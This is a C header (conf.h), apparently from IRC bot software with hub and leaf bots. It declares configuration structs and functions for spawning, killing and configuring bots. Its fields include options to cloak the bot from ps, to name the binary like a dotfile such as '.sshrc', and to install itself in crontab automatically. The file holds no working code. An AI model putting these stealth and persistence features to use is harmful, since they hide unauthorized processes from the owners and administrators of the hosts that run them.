conf.h 1.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566
  1. #ifndef _CONF_H
  2. #define _CONF_H
  3. #include <sys/types.h>
  4. #include <stdio.h>
  5. typedef struct conf_bot_b {
  6. char *nick;
  7. char *host;
  8. char *host6;
  9. char *ip;
  10. char *ip6;
  11. pid_t pid; /* contains the PID for the bot (read for the pidfile) */
  12. char *pid_file; /* path and filename of the .pid file */
  13. #ifdef LEAF
  14. int localhub; /* bot is localhub */
  15. #endif /* LEAF */
  16. struct userrec *u; /* our own user record */
  17. struct conf_bot_b *next;
  18. } conf_bot;
  19. typedef struct conf_b {
  20. uid_t uid;
  21. char *uname;
  22. char *username; /* shell username */
  23. char *homedir; /* homedir */
  24. int autouname; /* should we just auto update any changed in uname output? */
  25. int pscloak; /* should the bots bother trying to cloak `ps`? */
  26. int portmin; /* for hubs, the reserved port range for incoming connections */
  27. int portmax; /* for hubs, the reserved port range for incoming connections */
  28. char *binpath; /* path to binary, ie: ~/ */
  29. char *binname; /* binary name, ie: .sshrc */
  30. int autocron; /* should the bot auto crontab itself? */
  31. char *comments; /* we dont want to lose our comments now do we?! */
  32. conf_bot *bots; /* the list of bots */
  33. conf_bot *bot; /* single bot (me) */
  34. } conf_t;
  35. extern conf_t conf;
  36. enum {
  37. CONF_ENC = 1,
  38. CONF_COMMENT = 2
  39. };
  40. #ifndef MAKING_MODS
  41. #ifdef LEAF
  42. void spawnbots();
  43. int killbot(char *);
  44. #endif /* LEAF */
  45. #ifdef S_CONFEDIT
  46. void confedit(char *);
  47. #endif /* S_CONFEDIT */
  48. pid_t checkpid(char *, conf_bot *);
  49. void showconf();
  50. void init_conf();
  51. void free_conf();
  52. int readconf(char *);
  53. int parseconf();
  54. int writeconf(char *, FILE *, int);
  55. void fillconf(conf_t *);
  56. #endif /* !MAKING_MODS */
  57. #endif /* !_CONF_H */